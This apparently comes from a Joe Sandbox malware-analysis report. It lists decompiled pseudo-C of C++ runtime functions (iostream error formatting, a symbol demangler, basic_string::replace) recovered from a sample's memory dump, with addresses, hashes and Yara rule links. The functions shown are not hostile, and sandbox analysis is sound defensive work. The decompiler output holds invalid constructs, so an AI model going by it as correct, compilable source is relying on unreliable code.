Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy$memmove
String ID: PF$Unknown error$basic_string::append$iostream error
API String ID: 1283327689-2094119812
Opcode ID: 412335cf2ee2af4c07c70f37b75d5e824b10ec8a0d31e8448ab4e6e88e885354
Instruction ID: 48bfd479881e61b28c48159ee932633cd0c3d7e74e60701b4895d2bd97a5d331
Opcode Fuzzy Hash: 412335cf2ee2af4c07c70f37b75d5e824b10ec8a0d31e8448ab4e6e88e885354
Instruction Fuzzy Hash: 6FA1E6B4D04319CBCB14EFA9C48469EBBF1BF44314F25892EE495AB341E778A845CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00460420 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 153
stringCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E00460420(intOrPtr* __ecx, int _a4, char _a8, intOrPtr _a12) {
				void* _v16;
				char _v44;
				char _v48;
				char _v52;
				char _v68;
				intOrPtr _v72;
				char _v76;
				char _v92;
				intOrPtr _v96;
				char _v100;
				int _v112;
				intOrPtr _v116;
				char* _v120;
				intOrPtr _v128;
				char* _v132;
				void* _v136;
				char _v140;
				char _v144;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t76;
				intOrPtr _t81;
				intOrPtr _t82;
				intOrPtr _t89;
				intOrPtr _t92;
				intOrPtr _t93;
				intOrPtr _t94;
				intOrPtr _t95;
				char* _t100;
				intOrPtr* _t104;
				intOrPtr* _t105;
				intOrPtr _t110;
				char _t112;
				intOrPtr _t113;
				int _t118;
				char _t119;
				intOrPtr _t120;
				intOrPtr _t121;
				char _t126;
				intOrPtr* _t127;
				void* _t128;
				void* _t129;
				void* _t130;
				intOrPtr* _t131;
				intOrPtr* _t132;
				intOrPtr* _t133;
				intOrPtr* _t134;

				_t127 = __ecx;
				_t103 =  &_v52;
				_t130 = _t129 - 0x7c;
				_t126 = _a8;
				_t118 = _a4;
				_v112 = _t118;
				_t76 =  *((intOrPtr*)( *_t126 + 0x10));
				if(_t76 != E004084D0) {
					_v140 = _t126;
					_v136 = _v112;
					 *_t76();
					_v120 =  &_v44;
					_t131 = _t130 - 8;
				} else {
					_t100 =  &_v44;
					_v48 = 0;
					_v120 = _t100;
					_v52 = _t100;
					_v44 = 0;
					if(_t118 == 1) {
						_v128 = 0xe;
						_v132 = "iostream error";
						_v136 = 0;
						_v140 = 0;
						E00482400( &_v52,  &_v52, _t126, __ecx, _t128);
					} else {
						_v128 = 0xd;
						_v132 = "Unknown error";
						_v136 = 0;
						_v140 = 0;
						E00482400( &_v52,  &_v52, _t126, __ecx, _t128);
					}
					_t131 = _t130 - 0x10;
				}
				_v136 = 2;
				_v140 = ": ";
				_v144 = 0;
				 *_t131 = 0;
				_t104 = E00482400(_t103, _t103, _t126, _t127, _t128);
				_t132 = _t131 - 0x10;
				_v76 =  &_v68;
				_t19 = _t104 + 8; // 0x8
				_t81 = _t19;
				_t119 =  *_t104;
				_t110 = _t81;
				_v116 = _t81;
				_t82 =  *((intOrPtr*)(_t104 + 4));
				if(_t119 == _t110) {
					_t120 = _t82 + 1;
					_t82 = 0xffffffff;
					if(_t120 != 0) {
						_v140 = _t120;
						_v144 = _t110;
						 *_t132 =  &_v68;
						memcpy(??, ??, ??);
						_t82 =  *((intOrPtr*)(_t104 + 4));
					}
				} else {
					_v76 = _t119;
					_v68 =  *((intOrPtr*)(_t104 + 8));
				}
				_v72 = _t82;
				 *((intOrPtr*)(_t104 + 4)) = 0;
				 *_t104 = _v116;
				 *((char*)(_t104 + 8)) = 0;
				 *_t132 = _a12;
				_v136 = strlen(??);
				_v144 = 0;
				_v140 = _a12;
				 *_t132 = 0;
				_t105 = E00482400(_t104,  &_v76, _t126, _t127, _t128);
				_t133 = _t132 - 0x10;
				_v100 =  &_v92;
				_t112 =  *_t105;
				_t37 = _t105 + 8; // 0x8
				_t121 = _t37;
				_t89 =  *((intOrPtr*)(_t105 + 4));
				if(_t112 == _t121) {
					_t113 = _t89 + 1;
					_t89 = 0xffffffff;
					if(_t113 != 0) {
						_v144 = _t121;
						_v140 = _t113;
						_v116 = _t121;
						 *_t133 =  &_v92;
						memcpy(??, ??, ??);
						_t89 =  *((intOrPtr*)(_t105 + 4));
						_t121 = _v116;
					}
				} else {
					_v100 = _t112;
					_v92 =  *((intOrPtr*)(_t105 + 8));
				}
				_v96 = _t89;
				 *_t105 = _t121;
				 *((intOrPtr*)(_t105 + 4)) = 0;
				 *((char*)(_t105 + 8)) = 0;
				 *_t133 =  &_v100;
				L00471B90(_t127);
				_t92 = _v100;
				_t134 = _t133 - 4;
				if(_t92 !=  &_v92) {
					 *_t134 = _t92;
					L00497910();
				}
				_t93 = _v76;
				if(_t93 !=  &_v68) {
					 *_t134 = _t93;
					L00497910();
				}
				_t94 = _v52;
				if(_t94 != _v120) {
					 *_t134 = _t94;
					L00497910();
				}
				_t95 = _v112;
				 *_t127 = 0x4d27cc;
				 *((intOrPtr*)(_t127 + 0xc)) = _t126;
				 *((intOrPtr*)(_t127 + 8)) = _t95;
				return _t95;
			}

0x00460425
0x00460428
0x0046042b
0x0046042e
0x00460431
0x00460436
0x00460439
0x00460441
0x0046064b
0x0046064e
0x00460654
0x00460659
0x0046065c
0x00460447
0x00460447
0x0046044a
0x00460451
0x00460454
0x00460457
0x0046045e
0x00460618
0x00460622
0x0046062a
0x00460632
0x00460639
0x00460464
0x00460464
0x0046046e
0x00460476
0x0046047e
0x00460485
0x00460485
0x0046048a
0x0046048a
0x0046048d
0x00460497
0x0046049f
0x004604a7
0x004604b3
0x004604b8
0x004604bb
0x004604be
0x004604be
0x004604c1
0x004604c3
0x004604c5
0x004604c8
0x004604cd
0x004605b0
0x004605b3
0x004605ba
0x004605c3
0x004605c7
0x004605cb
0x004605ce
0x004605d3
0x004605d3
0x004604d3
0x004604d3
0x004604d9
0x004604d9
0x004604dc
0x004604e2
0x004604e9
0x004604ee
0x004604f2
0x004604fd
0x00460504
0x0046050c
0x00460510
0x0046051c
0x00460521
0x00460524
0x00460527
0x00460529
0x00460529
0x0046052c
0x00460531
0x004605e0
0x004605e3
0x004605ea
0x004605f3
0x004605f7
0x004605fb
0x004605fe
0x00460601
0x00460606
0x00460609
0x00460609
0x00460537
0x00460537
0x0046053d
0x0046053d
0x00460540
0x00460548
0x0046054a
0x00460551
0x00460555
0x00460558
0x0046055d
0x00460563
0x00460568
0x0046056a
0x0046056d
0x0046056d
0x00460572
0x0046057a
0x0046057c
0x0046057f
0x0046057f
0x00460584
0x0046058c
0x0046058e
0x00460591
0x00460591
0x00460596
0x00460599
0x0046059f
0x004605a2
0x004605ac

APIs

Part of subcall function 00482400: memmove.MSVCRT ref: 0048249D
Part of subcall function 00482400: memcpy.MSVCRT ref: 004824C8

strlen.MSVCRT ref: 004604F5
memcpy.MSVCRT ref: 004605CE

Strings

Unknown error, xrefs: 0046046E
iostream error, xrefs: 00460622
PF, xrefs: 00460599

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: memcpy$memmovestrlen
String ID: PF$Unknown error$iostream error
API String ID: 1234831610-1554408417
Opcode ID: ef1b2ca119491c1eaee9953fd39b9d5d10cd018d64beca55ab92d6ac5c9facf0
Instruction ID: e027733bfcd04becbd62de20dda910593aa35f98d2b7e5745b903c46e89f658e
Opcode Fuzzy Hash: ef1b2ca119491c1eaee9953fd39b9d5d10cd018d64beca55ab92d6ac5c9facf0
Instruction Fuzzy Hash: 9D61C7B4904304DFCB14EFA9C58469EBBF1BF84314F14892EE8899B345E7789845CF96

Uniqueness

Uniqueness Score: -1.00%

Function 003F4220 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E003F4220(signed int __eax, signed int __ecx, signed int __edx) {
				void* _v16;
				signed char _v32;
				signed int _v36;
				signed char _v40;
				char* _v44;
				signed int _v48;
				signed char _v52;
				char* _v56;
				signed char _v60;
				signed char _v64;
				signed char _v68;
				signed char _v72;
				signed char _v76;
				signed char _v80;
				signed char _v84;
				signed char _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				char _v100;
				char* _v104;
				char _v360;
				signed char _v364;
				signed char _v368;
				signed char _v372;
				signed char _v376;
				signed char _v380;
				signed char _v384;
				signed int _v388;
				signed char _v392;
				char* _v396;
				signed char _v400;
				signed char _v404;
				signed int _v408;
				signed char* _v412;
				signed char _v416;
				intOrPtr _v420;
				signed int _v424;
				signed int* _v432;
				signed char _v436;
				intOrPtr _v440;
				signed char _v444;
				signed int _v448;
				intOrPtr _v452;
				signed char* _v456;
				signed int _v460;
				intOrPtr _v464;
				char _v477;
				char _v480;
				intOrPtr _v484;
				char* _v488;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t192;
				void* _t198;
				signed int _t207;
				signed int _t208;
				signed int _t212;
				char* _t226;
				int _t229;
				signed int _t232;
				signed int _t236;
				signed int _t238;
				signed int _t240;
				signed int _t243;
				signed char* _t246;
				signed int _t247;
				signed int _t248;
				signed int _t251;
				signed char _t253;
				signed int _t258;
				signed int _t265;
				signed char _t266;
				signed char* _t267;
				signed int _t268;
				signed char _t270;
				signed int _t272;
				signed int _t274;
				signed int _t278;
				signed int _t279;
				signed int _t283;
				signed char _t287;
				signed char* _t297;
				signed char _t299;
				signed int _t309;
				signed int _t310;
				signed char _t313;
				signed char* _t314;
				signed char* _t315;
				signed int _t317;
				signed int _t319;
				void* _t320;
				void* _t321;
				signed int* _t322;
				signed char* _t325;

				_t283 = __edx;
				_t268 = __ecx;
				_t309 = __edx;
				_t265 = __eax;
				_t322 = _t321 - 0x1dc;
				_v460 = __ecx;
				if( *((char*)(__eax)) == 0x5f) {
					_v436 = 1;
					__eflags =  *((char*)(__eax + 1)) - 0x5a;
					if( *((char*)(__eax + 1)) != 0x5a) {
						goto L1;
					} else {
						goto L2;
					}
					goto L66;
				} else {
					L1:
					_v484 = 8;
					_v488 = "_GLOBAL_";
					 *_t322 = _t265;
					_t184 = strncmp(??, ??, ??);
					_v436 = 0;
					if(_t184 == 0) {
						_t185 =  *(_t265 + 8) & 0x000000ff;
						_t185 - 0x2e = _t185 - 0x5f;
						__eflags = _t283 & 0xffffff00 | _t185 == 0x0000005f | _t268 & 0xffffff00 | _t185 == 0x0000002e;
						if((_t283 & 0xffffff00 | _t185 == 0x0000005f | _t268 & 0xffffff00 | _t185 == 0x0000002e) != 0) {
							L46:
							_t186 =  *(_t265 + 9) & 0x000000ff;
							__eflags = _t186 - 0x44;
							if(_t186 == 0x44) {
								L48:
								_v436 = 0;
								__eflags =  *((char*)(_t265 + 0xa)) - 0x5f;
								if( *((char*)(_t265 + 0xa)) == 0x5f) {
									__eflags = _t186 - 0x49;
									_v436 = ((_t186 & 0xffffff00 | _t186 != 0x00000049) & 0x000000ff) + 2;
								}
								goto L2;
							} else {
								_v436 = 0;
								__eflags = _t186 - 0x49;
								if(_t186 != 0x49) {
									goto L2;
								} else {
									goto L48;
								}
							}
						} else {
							__eflags = _t185 - 0x24;
							if(_t185 != 0x24) {
								goto L2;
							} else {
								goto L46;
							}
						}
						L66:
					}
				}
				L2:
				_t270 = _v436;
				_v464 = _t309;
				_v368 = 1;
				_v452 = (0 | _t270 != 0x00000002) + 0x45;
				_v456 = _t265 + 1;
				_t13 = _t270 - 2; // -2
				_v440 = _t13;
				while(1) {
					 *_t322 = _t265;
					_t192 = strlen(??);
					_v424 = _t265;
					_v412 = _t265;
					_v420 = _t265 + _t192;
					_t287 = _t192 + _t192;
					_v416 = 0x11;
					_v400 = _t287;
					_v404 = 0;
					_v388 = _t192;
					_v392 = 0;
					_v384 = 0;
					_v380 = 0;
					_v376 = 0;
					_v372 = 0;
					_v364 = 0;
					if(_t287 > 0x800) {
						break;
					}
					_t310 = _t192 * 4;
					_v432 = _t322;
					_t198 = E003F6170(0xf + (_t192 + _t310) * 8 >> 4 << 4);
					_t61 = _t310 + 0xf; // 0x3ec80f
					_t317 =  &_v477;
					_t318 = _t317 & 0xfffffffc;
					_t272 = _t317 >> 2;
					_t325 = _t322 - _t198 - E003F6170(_t61 >> 4 << 4);
					_v408 = _t317 & 0xfffffffc;
					_v396 =  &_v480;
					if(_v436 != 1) {
						__eflags = _v440 - 1;
						if(__eflags > 0) {
							_t319 = E003ED020( &_v424, _t265, _t272, _t310, _t318, __eflags);
							_t207 =  *_v412 & 0x000000ff;
						} else {
							_t313 = _t265 + 0xb;
							__eflags =  *(_t265 + 0xb) - 0x5f;
							_v412 = _t313;
							if( *(_t265 + 0xb) != 0x5f) {
								L6:
								_v444 = _t287;
								_v448 = _t272;
								 *_t325 = _t313;
								_t229 = strlen(??);
								__eflags = _v444;
								if(_v444 == 0) {
									L52:
									_t318 = 0;
									_v444 =  &_v424;
								} else {
									_v404 = 1;
									_t278 = _v448;
									 *(4 + _t278 * 4) = 0;
									 *(8 + _t278 * 4) = 0;
									__eflags = _t229;
									if(_t229 == 0) {
										goto L52;
									} else {
										 *(0x10 + _t278 * 4) = _t229;
										 *(_t278 * 4) = 0;
										 *(0xc + _t278 * 4) = _t313;
										_v444 =  &_v424;
									}
								}
							} else {
								__eflags =  *((char*)(_t265 + 0xc)) - 0x5a;
								if( *((char*)(_t265 + 0xc)) == 0x5a) {
									_v412 = _t265 + 0xd;
									_t236 =  *(_t265 + 0xd) & 0x000000ff;
									__eflags = _t236 - 0x47;
									if(_t236 == 0x47) {
										L50:
										_v444 =  &_v424;
										_t238 = E003EF1A0( &_v424);
										_t313 = _v412;
										_t318 = _t238;
										goto L9;
									} else {
										__eflags = _t236 - 0x54;
										if(_t236 == 0x54) {
											goto L50;
										} else {
											_v444 =  &_v424;
											_t240 = L003EFC20( &_v424, _t272, 0);
											_t313 = _v412;
											_t318 = _t240;
											goto L9;
										}
									}
									goto L66;
								} else {
									goto L6;
								}
							}
							L9:
							 *_t325 = 0;
							_t232 = E003EC370(_v444, _t318, _v452);
							 *_t325 = _t313;
							_t319 = _t232;
							_t314 = _t313 + strlen(??);
							__eflags = _t314;
							_v412 = _t314;
							_t207 =  *_t314 & 0x000000ff;
						}
						goto L10;
					} else {
						if( *_t265 != 0x5f) {
							L12:
							__eflags = _v368 - 0xffffffff;
							if(_v368 != 0xffffffff) {
								_t208 = 0;
								__eflags = 0;
								goto L57;
							} else {
								_v368 = 0;
								_t322 = _v432;
								continue;
							}
						} else {
							_v412 = _v456;
							if( *((char*)(_t265 + 1)) != 0x5a) {
								goto L12;
							} else {
								_v412 = _t265 + 2;
								_t243 =  *(_t265 + 2) & 0x000000ff;
								if(_t243 == 0x47 || _t243 == 0x54) {
									_v444 =  &_v424;
									_t319 = E003EF1A0( &_v424);
								} else {
									_v444 =  &_v424;
									_t319 = L003EFC20( &_v424, _t272, 1);
								}
								_t246 = _v412;
								_t297 = _t246;
								_t207 =  *_t246 & 0x000000ff;
								if((_v416 & 0x00000001) != 0 && _t207 == 0x2e) {
									_v448 = _t265;
									_t315 = _t297;
									while(1) {
										_t247 = _t315[1] & 0x000000ff;
										_t81 = _t247 - 0x61; // -7
										_t299 = _t81 & 0xffffff00 | _t81 - 0x00000019 < 0x00000000;
										_t279 = _t272 & 0xffffff00 | _t247 == 0x0000005f;
										_t248 = _t247 - 0x30;
										if(_t299 != 0 || _t279 != 0) {
											goto L63;
										}
										L26:
										if(_t248 > 9) {
											_t265 = _v448;
											_t207 =  *_v412 & 0x000000ff;
										} else {
											L27:
											_t251 = _t315[2] & 0x000000ff;
											_t267 =  &(_t315[2]);
											while(1) {
												_t279 = _t279 & 0xffffff00 | _t251 - 0x00000061 - 0x00000019 < 0x00000000;
												if((_t251 - 0x00000030 & 0xffffff00 | _t251 - 0x00000030 - 0x00000009 < 0x00000000 | _t279) == 0 && _t251 != 0x5f) {
													break;
												}
												_t251 = _t267[1] & 0x000000ff;
												_t267 =  &(_t267[1]);
												__eflags = _t267;
											}
											L32:
											while(_t251 == 0x2e) {
												while((_t267[1] & 0x000000ff) - 0x30 <= 9) {
													_t251 = _t267[2] & 0x000000ff;
													_t267 =  &(_t267[2]);
													_t98 = _t251 - 0x30; // -47
													if(_t98 > 9) {
														goto L32;
													} else {
														do {
															_t258 = _t267[1] & 0x000000ff;
															_t267 =  &(_t267[1]);
														} while (_t258 - 0x30 <= 9);
														if(_t258 == 0x2e) {
															continue;
														}
													}
													goto L38;
												}
												break;
											}
											L38:
											_v412 = _t267;
											_t253 = E003EC480(_v444, _t267 - _t315, _t315);
											_t272 = _t319;
											 *_t325 = _t253;
											_t319 = E003EC370(_v444, _t272, 0x4f);
											_t207 =  *_t267 & 0x000000ff;
											if(_t207 != 0x2e) {
												_t265 = _v448;
											} else {
												_t315 = _t267;
												_t247 = _t315[1] & 0x000000ff;
												_t81 = _t247 - 0x61; // -7
												_t299 = _t81 & 0xffffff00 | _t81 - 0x00000019 < 0x00000000;
												_t279 = _t272 & 0xffffff00 | _t247 == 0x0000005f;
												_t248 = _t247 - 0x30;
												if(_t299 != 0 || _t279 != 0) {
													goto L63;
												}
											}
										}
										goto L10;
										L63:
										_t248 - 9 = _t248 & 0xffffff00 | _t248 - 0x00000009 < 0x00000000 | _t299;
										if((_t248 & 0xffffff00 | _t248 - 0x00000009 < 0x00000000 | _t299) != 0) {
											goto L27;
										} else {
											__eflags = _t279;
											if(_t279 != 0) {
												goto L27;
											} else {
												_t251 =  *_t315 & 0x000000ff;
												_t267 = _t315;
											}
										}
										goto L32;
									}
								}
								L10:
								__eflags = _t319;
								if(_t319 == 0) {
									goto L12;
								} else {
									__eflags = _t207;
									if(_t207 == 0) {
										_t266 =  &_v360;
										_v104 = 0;
										_v92 = _v460;
										_v100 = 0;
										_v88 = 0;
										_v84 = 0;
										_v68 = 0;
										_v64 = 0;
										_v96 = _v464;
										_v80 = 0;
										_v76 = 0;
										_v72 = 0;
										_v60 = 0;
										_v52 = 0;
										_v48 = 0;
										_v40 = 0;
										_v36 = 0;
										E003EC6E0(_t266, _t319);
										__eflags = _v76 - 0x7ff;
										if(_v76 <= 0x7ff) {
											_v76 = 0;
										}
										_t212 = _v48;
										_v32 = 0;
										_t274 = _v36 * _t212;
										__eflags = _t212;
										_t213 =  <=  ? 1 : _t212;
										_v36 = _t274;
										E003F6170(0xf + ( <=  ? 1 : _t212) * 8 >> 4 << 4);
										__eflags = _t274;
										_t275 =  <=  ? 1 : _t274;
										E003F6170(0xf + ( <=  ? 1 : _t274) * 8 >> 4 << 4);
										_v56 =  &_v480;
										_v44 =  &_v480;
										E003F2E50(_t266, _t319);
										_t226 = _v104;
										 *((char*)(_t320 + _t226 - 0x164)) = 0;
										_v484 = _v92;
										_v488 = _t226;
										 *_t325 = _t266;
										_v96();
										__eflags = _v80;
										_t208 = 0 | _v80 == 0x00000000;
										L57:
										return _t208;
									} else {
										goto L12;
									}
								}
							}
						}
					}
					goto L66;
				}
				__eflags = 0;
				return 0;
				goto L66;
			}

0x003f4220
0x003f4220
0x003f4224
0x003f4228
0x003f422a
0x003f4233
0x003f4239
0x003f46e3
0x003f46ed
0x003f46f1
0x00000000
0x003f46f7
0x00000000
0x003f46f7
0x00000000
0x003f423f
0x003f423f
0x003f423f
0x003f4247
0x003f424f
0x003f4252
0x003f4257
0x003f4263
0x003f463c
0x003f4645
0x003f464a
0x003f464c
0x003f4656
0x003f4656
0x003f465a
0x003f465c
0x003f4670
0x003f4670
0x003f467a
0x003f467e
0x003f4684
0x003f468f
0x003f468f
0x00000000
0x003f465e
0x003f465e
0x003f4668
0x003f466a
0x00000000
0x00000000
0x00000000
0x00000000
0x003f466a
0x003f464e
0x003f464e
0x003f4650
0x00000000
0x00000000
0x00000000
0x00000000
0x003f4650
0x00000000
0x003f464c
0x003f4263
0x003f4269
0x003f4269
0x003f4271
0x003f4277
0x003f428a
0x003f4293
0x003f4299
0x003f429c
0x003f43a3
0x003f43a3
0x003f43a6
0x003f43ab
0x003f43b4
0x003f43ba
0x003f43c0
0x003f43c3
0x003f43cd
0x003f43d3
0x003f43dd
0x003f43e3
0x003f43ed
0x003f43f7
0x003f4401
0x003f440b
0x003f4415
0x003f4425
0x00000000
0x00000000
0x003f442b
0x003f4432
0x003f4447
0x003f444e
0x003f4451
0x003f445d
0x003f4460
0x003f4468
0x003f4471
0x003f447b
0x003f4481
0x003f42b0
0x003f42b7
0x003f45f3
0x003f45fb
0x003f42bd
0x003f42bd
0x003f42c0
0x003f42c4
0x003f42ca
0x003f42d6
0x003f42d6
0x003f42dc
0x003f42e2
0x003f42e5
0x003f42f0
0x003f42f2
0x003f46d0
0x003f46d6
0x003f46d8
0x003f42f8
0x003f42f8
0x003f4302
0x003f4308
0x003f4313
0x003f431e
0x003f4320
0x00000000
0x003f4326
0x003f4326
0x003f4333
0x003f433e
0x003f4345
0x003f4345
0x003f4320
0x003f42cc
0x003f42cc
0x003f42d0
0x003f4606
0x003f460c
0x003f4610
0x003f4612
0x003f469a
0x003f46a0
0x003f46a6
0x003f46ab
0x003f46b1
0x00000000
0x003f4618
0x003f4618
0x003f461a
0x00000000
0x003f461c
0x003f4624
0x003f462a
0x003f462f
0x003f4635
0x00000000
0x003f4635
0x003f461a
0x00000000
0x00000000
0x00000000
0x00000000
0x003f42d0
0x003f434b
0x003f434b
0x003f4360
0x003f4365
0x003f4368
0x003f436f
0x003f436f
0x003f4371
0x003f4377
0x003f4377
0x00000000
0x003f4487
0x003f448a
0x003f4386
0x003f4386
0x003f438d
0x003f4706
0x003f4706
0x00000000
0x003f4393
0x003f4393
0x003f439d
0x00000000
0x003f439d
0x003f4490
0x003f449a
0x003f44a0
0x00000000
0x003f44a6
0x003f44a9
0x003f44af
0x003f44b5
0x003f46be
0x003f46c9
0x003f44c3
0x003f44ce
0x003f44d9
0x003f44d9
0x003f44db
0x003f44e1
0x003f44e3
0x003f44ed
0x003f44fb
0x003f4501
0x003f4508
0x003f4508
0x003f450c
0x003f4512
0x003f4517
0x003f451a
0x003f451f
0x00000000
0x00000000
0x003f452d
0x003f452f
0x003f4851
0x003f4857
0x003f4535
0x003f4535
0x003f4535
0x003f4539
0x003f4547
0x003f4550
0x003f455b
0x00000000
0x00000000
0x003f4540
0x003f4544
0x003f4544
0x003f4544
0x00000000
0x003f4568
0x003f456c
0x003f4577
0x003f457e
0x003f4580
0x003f4586
0x00000000
0x003f4590
0x003f4590
0x003f4590
0x003f4594
0x003f459a
0x003f45a1
0x00000000
0x00000000
0x003f45a1
0x00000000
0x003f4586
0x00000000
0x003f456c
0x003f45a3
0x003f45a7
0x003f45b7
0x003f45bc
0x003f45c3
0x003f45cd
0x003f45cf
0x003f45d4
0x003f4840
0x003f45da
0x003f45da
0x003f4508
0x003f450c
0x003f4512
0x003f4517
0x003f451a
0x003f451f
0x00000000
0x00000000
0x003f451f
0x003f45d4
0x00000000
0x003f485f
0x003f4864
0x003f4866
0x00000000
0x003f486c
0x003f486c
0x003f486e
0x00000000
0x003f4874
0x003f4874
0x003f4877
0x003f4877
0x003f486e
0x00000000
0x003f4866
0x003f4508
0x003f437a
0x003f437a
0x003f437c
0x00000000
0x003f437e
0x003f437e
0x003f4380
0x003f4722
0x003f472a
0x003f4731
0x003f4736
0x003f473a
0x003f4741
0x003f4748
0x003f474f
0x003f4756
0x003f4759
0x003f4760
0x003f4767
0x003f476e
0x003f4775
0x003f477c
0x003f4783
0x003f478a
0x003f4791
0x003f4796
0x003f479d
0x003f479f
0x003f479f
0x003f47a6
0x003f47b3
0x003f47ba
0x003f47bd
0x003f47bf
0x003f47c9
0x003f47d2
0x003f47d9
0x003f47e0
0x003f47f4
0x003f47fb
0x003f4809
0x003f480e
0x003f4813
0x003f481b
0x003f4823
0x003f4827
0x003f482b
0x003f482e
0x003f4836
0x003f4838
0x003f4708
0x003f4715
0x00000000
0x00000000
0x00000000
0x003f4380
0x003f437c
0x003f44a0
0x003f448a
0x00000000
0x003f4481
0x003f46ff
0x003f4705
0x00000000

APIs

strncmp.MSVCRT ref: 003F4252
strlen.MSVCRT ref: 003F43A6

Strings

_GLOBAL_, xrefs: 003F4247

Memory Dump Source

Source File: 00000000.00000002.263133991.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.263127372.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263402796.00000000004A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263446576.00000000004C6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263605446.0000000000514000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263615053.0000000000517000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.263638378.000000000053B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: 94b205f9af7db2b2de3fe2c7f5ad3989411cccef9f860172322f83f2e71538aa
Instruction ID: d33480424aa2704e42e4d9fadd46a483acd3d58acb950b819466113f5a8f6dc4
Opcode Fuzzy Hash: 94b205f9af7db2b2de3fe2c7f5ad3989411cccef9f860172322f83f2e71538aa
Instruction Fuzzy Hash: ADF18DB090426C8FEF21DF24C8903EEBBF5AF46304F1541AAD548AB255D7799E89CF81

Uniqueness

Uniqueness Score: -1.00%

Function 0045A560 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0045A560(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, char* _a4, void _a8, void* _a12, int _a16) {
				void* _v16;
				char _v29;
				void* _v48;
				char* _v52;
				char _v64;
				int _v68;
				char* _v72;
				char* _v76;
				intOrPtr _v96;
				intOrPtr _v100;
				char* _v104;
				char _t69;
				intOrPtr _t71;
				intOrPtr _t76;
				int _t90;
				intOrPtr _t100;
				void* _t101;
				int _t111;
				intOrPtr* _t122;
				intOrPtr _t128;
				void* _t134;
				char* _t138;
				int _t144;
				int _t147;
				void* _t152;
				void* _t158;
				void* _t162;
				void* _t164;
				void* _t167;
				void* _t171;
				intOrPtr* _t172;

				_t153 = __esi;
				_t167 = _t171;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t122 = __ecx;
				_t172 = _t171 - 0x3c;
				_t128 =  *__ecx;
				_t147 = _a16;
				_t69 =  *((intOrPtr*)(_t128 - 0xc));
				if(_t69 < _a4) {
					L32:
					_v64 = _t69;
					_v72 = "basic_string::replace";
					_v68 = _a4;
					_v76 = "%s: __pos (which is %zu) > this->size() (which is %zu)";
					_t71 = L00493530(_a4, _t147, __eflags);
					_v76 =  &_v29;
					__eflags = _v48 - 0xc;
					_push(E00458FF0(_v48 - 0xc));
					 *_t172 = _t71;
					E003F8C90(_t73, _t71, _t138, _t147, _t153);
					_t76 =  *_v68;
					_v100 = _t76;
					_v96 =  *((intOrPtr*)(_t76 - 0xc));
					_v104 = _v72;
					 *((intOrPtr*)(_t172 - 0x1c)) = _v76;
					return E0045A560(_t71, _v48 - 0xc, _t147, _t153);
				} else {
					_t138 =  >  ? _a8 : _t69 - _a4;
					_t153 = _t138 - _t69 + 0x3ffffffc;
					if(_t138 - _t69 + 0x3ffffffc < _t147) {
						_v76 = "basic_string::replace";
						_t69 = L004997B0(_t138, _t147);
						goto L32;
					} else {
						if(_a12 < _t128 || _t69 + _t128 < _a12) {
							L15:
							_v68 = _t147;
							_v72 = _t138;
							_v76 = _a4;
							E0045AAF0(_t122);
							__eflags = _t147;
							if(_t147 == 0) {
								goto L12;
							} else {
								_t158 =  &(_a4[ *_t122]);
								__eflags = _t147 - 1;
								if(_t147 == 1) {
									 *_t158 =  *_a12 & 0x000000ff;
									return _t122;
								} else {
									memcpy(_t158, _a12, _t147);
									return _t122;
								}
							}
						} else {
							_t90 =  *0x4c3bd0; // 0x2
							if(_t90 != 0) {
								__eflags =  *(_t128 - 4);
								if( *(_t128 - 4) <= 0) {
									_t128 =  *__ecx;
									goto L6;
								} else {
									goto L15;
								}
							} else {
								if( *(_t128 - 4) > 0) {
									goto L15;
								} else {
									L6:
									_t161 = _a12 + _t147;
									if( &(_a4[_t128]) >= _a12 + _t147) {
